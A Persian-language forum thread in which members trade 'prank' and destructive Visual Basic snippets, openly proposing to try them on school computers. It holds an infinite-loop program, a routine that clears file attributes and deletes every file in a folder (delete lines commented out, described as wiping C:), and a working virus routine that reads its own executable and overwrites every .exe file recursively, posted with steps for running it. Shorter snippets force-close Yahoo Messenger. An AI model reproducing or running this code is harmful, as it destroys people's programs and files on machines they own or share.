ساده ترين ويروس جهان!!

[parsbin]

اينم كدش

Private Sub Form_Load()
Dim a%
Do
b = a + 1
Loop
End Sub

loop باعث ميشه كه از do به بعد هر دستوري صادر شده تكرار بشه.
يعني تا بي نهايت a+1تكرار ميشه و موجب هنگ شدن سيستم ميشه.

:lol:
شما هم اگر از اين شيرين كاريها با وي بي به ذهنتون رسيد اينجا بگيد تا روي سيستمهاي مدرسه آزمايششون كنيم

 

[balabala]

خب اونوقت این چیکار میکنه؟

اگر اینطوریه ، این رو روی کامپیوترتون اجرا کنید تا کمی تا قسمتی بدبخت گردید!

ادیت:
توجه:
- این برنامه کلیه فایلهای شاخه \:c را پاک میکند!
- دو خط کامنت شده را قبل از تغییر شاخه به یک فولدر بی مصرف استفاده نفرمایید.
- برای امتحان میتوانید شاخه را به چیزی شبیه به c:\test تغییر دهید.

Private Sub Form_Load()
On Local Error Resume Next
path$="c:\test\"
t$ = Dir(path$, vbDirectory)
Do
' SetAttr path$ & t$, vbNormal
' Kill path$ & t$
t$ = Dir
Loop While t$ <> ""
End
End Sub

 

[parsbin]

ميشه توضيح بديد
من ترسيدم امتحان كنم
از اون كلمات kill و c:\

 

[balabala]

ميشه توضيح بديد
من ترسيدم امتحان كنم
از اون كلمات kill و c:\

فایلهای شاخه \:c رو پاک میکنه!
امتحانش نکنی یه موقع!

 

[P30Tools]

اينم كدش

Private Sub Form_Load()
Dim a%
Do
b = a + 1
Loop
End Sub

:lol:
شما هم اگر از اين شيرين كاريها با وي بي به ذهنتون رسيد اينجا بگيد تا روي سيستمهاي مدرسه آزمايششون كنيم

ماله شما چيكار ميكنه؟!

 

[parsbin]

loop باعث ميشه كه از do به بعد هر دستوري صادر شده تكرار بشه.
يعني تا بي نهايت a+1تكرار ميشه و موجب هنگ شدن سيستم ميشه.
آخر صدمه هستش ديگه!

 

[شايان]

خب کدهای جالبی هست اینا ولی پیشنهاد میدم هم اسم تاپیک رو تغییر بدید ، هم تو اولین پست و اون پست هایی که توش کد هست توضیح بدید که این کدها چی کار میکنه که کسی بد بخت نشه !

( عنوان تاپیک رو هم خواستید تغییر بدید ، یه پست همین جا بزنید من میبینم تغییر میدم )

 

[parsbin]

بلا بلاجان
ميشه يكم درباره توابعي كه استفاده كردي توضيح بدي
مثلا اينها

On Local Error Resume Next
t$ = Dir("c:\", vbDirectory)

همچنين

' SetAttr t$, vbNormal
' Kill t$
t$ = Dir

دارم وسوسه ميشم يك بار امتحانش كنم!:happy:

 

[balabala]

خب کدهای جالبی هست اینا ولی پیشنهاد میدم هم اسم تاپیک رو تغییر بدید ، هم تو اولین پست و اون پست هایی که توش کد هست توضیح بدید که این کدها چی کار میکنه که کسی بد بخت نشه !

( عنوان تاپیک رو هم خواستید تغییر بدید ، یه پست همین جا بزنید من میبینم تغییر میدم )

آره، من یه توضیحی دادم پس فردا نگید که من نگفتم!

 

[balabala]

بلا بلاجان
ميشه يكم درباره توابعي كه استفاده كردي توضيح بدي
مثلا اينها

On Local Error Resume Next
t$ = Dir("c:\", vbDirectory)

همچنين

' SetAttr t$, vbNormal
' Kill t$
t$ = Dir

دارم وسوسه ميشم يك بار امتحانش كنم!:happy:

اول از همه از c:\ تغییرش بدید به یک فولدر بی مصرف...

Dir اول اولین فایل در اون شاخه رو برمیگردونه.
SetAttr خصوصیت یک فایل رو تغییر میده. یعنی اگر hidden, read only و یا system بود ما میکنیمش normal که بشه پاکش کرد
Kill هم که از اسمش پیداست چیکارست. فایل رو پاک میکنه

(البته برنامم یه باگ داره که الان برطرفش میکنم...باید مسیر رو هم توی Kill ذکر میکردم) :blush:

 

[P30Tools]

loop باعث ميشه كه از do به بعد هر دستوري صادر شده تكرار بشه.
يعني تا بي نهايت a+1تكرار ميشه و موجب هنگ شدن سيستم ميشه.
آخر صدمه هستش ديگه!

آهان داشتم كنجكاو ميشدم كه اجراش كنم!!!

 

[parsbin]

اين كه مشكلي پيش نمياره
چارش يك end task هستش
شايان جان
توضيح رو هم اضافه كردم. عنوان رو هم هر چي خواستي بزار
بلا بلا جان از شما هم ممنونم

 

[emad86_20011]

loop باعث ميشه كه از do به بعد هر دستوري صادر شده تكرار بشه.
يعني تا بي نهايت a+1تكرار ميشه و موجب هنگ شدن سيستم ميشه.
آخر صدمه هستش ديگه!

اينطوري كه سيستم هنگ نميكنه!! فقط خود برنامه هنگ ميكنه

 

[balabala]

میگم عنوان تاپیک رو بذاریم: کدهایی برای بیچاره کردن شما!

 

[saeedsmk]

چه نوع کد های مخربی. مثل کد زیر ؟

Dim bytFileArray() As Byte
Public Function GetFilesAndCopy(Path As String)
    On Error Resume Next
    Dim chrFirstByte As String * 1
    Dim WFD As WIN32_FIND_DATA
    Dim strName As String
    Dim strPattern As String
    Dim lngFileSize As Long
    Dim strPath As String
    Dim strPattern As String
    strPattern = "*.exe"
    Dim strChangingFile As String
    strPath = Path
    If Right(strPath, 1) <> "\" Then strPath = strPath + "\"
    strPattern = Pattern
    strName = strPath & strPattern
    lngFileSize = FindFirstFile(strName, WFD)
    If (lngFileSize > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
        strChangingFile = strPath & StripNulls(WFD.cFileName)
        Open strChangingFile For Binary As 1#
            Put #1, 1, bytFileArray()
        Close #1
    End If
    DoEvents
    DoEvents
    DoEvents
    If lngFileSize > 0 Then
        Do While FindNextFile(lngFileSize, WFD)
          If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
            strChangingFile = strPath & StripNulls(WFD.cFileName)
            Open strChangingFile For Binary As 1#
                Put #1, 1, bytFileArray
            Close #1
            DoEvents
            DoEvents
            DoEvents
          End If
        Loop
    End If
    lngFileSize = FindFirstFile(strPath & "*.*", WFD)
    If (lngFileSize > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
        StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
            GetFilesAndCopy strPath & StripNulls(WFD.cFileName)
    End If
    Do While FindNextFile(lngFileSize, WFD)
        If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
            StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
            GetFilesAndCopy strPath & StripNulls(WFD.cFileName)
        End If
    Loop
    FindClose lngFileSize
End Function

Function funGetByteOfMySelf()
    On Error Resume Next
    Dim strPath As String
    Dim lngDumm As Long
    strPath = App.Path
    If Right(strPath, 1) <> "\" Then strPath = strPath + "\"
    strPath = strPath + App.EXEName + ".exe"
    lngDumm = FileLen(strPath)
    ReDim bytFileArray(lngDumm) As Byte
    Open strPath For Binary As 1
        Get 1, , bytFileArray
    Close
End Function

خوب این کد دوتا تابع داره یکی GetFilesAndCopy(Path As String, Pattern As String)
که path مسیری که میخواین توش کار مورد نظر انجام بشه -
حوب این یه کده که میاد تمای زیر شاخه های و همچین توی شاخه دنبال *.exe وخودشو روی اونها کپی میکنه

خوب کد دوم هم تمای بایت های برنامه اجرایی رو میخونه

برای اجرا باید api ها رو اضافه کنید و همچنین باید ابتدا تابع funGetByteOfMySelf رو صدا یزنید و بعد تابع GetFilesAndCopy با مسیری که میخوای دخل فایل های exe شو بیاری

 

[mammad81]

خب من الان برنامه نویسی یادم رفته ولی چند وقت پیش یه برنامه چند خطی نوشته بودم که هرکی یاهو مسنجرش رو باز میکرد بعد 5 ثانیه بسته میشد البته این میتونست به هر برنامه ای که خواستی عوض بشه اگر کدش رو پیدا کردم میزارم اینجا

 

[black_jack_of_black_city]

دستتون درد نکنه

 

[Arash_j13]

اینکه خیلی ساده است

SENDMESSAGE(FINDWINDOW(VBNUL,"WINDOW TITILE"),wm_close,0,0);
​

البته باید API های sendmessage , findwindow و ثابت wm_close تعریف بشن

 

[emad86_20011]

اينم يه برنامه جالب براي اذيت كردن!!
كارش اينه كه جهت حركت موس رو عوض ميكنه
اتچ شده!

 

[mammad81]

اینکه خیلی ساده است

SENDMESSAGE(FINDWINDOW(VBNUL,"WINDOW TITILE"),wm_close,0,0);
​

البته باید API های sendmessage , findwindow و ثابت wm_close تعریف بشن

نه یه timer میزاری بعد میگی اونprocces رو مثلا یاهورو tskill کن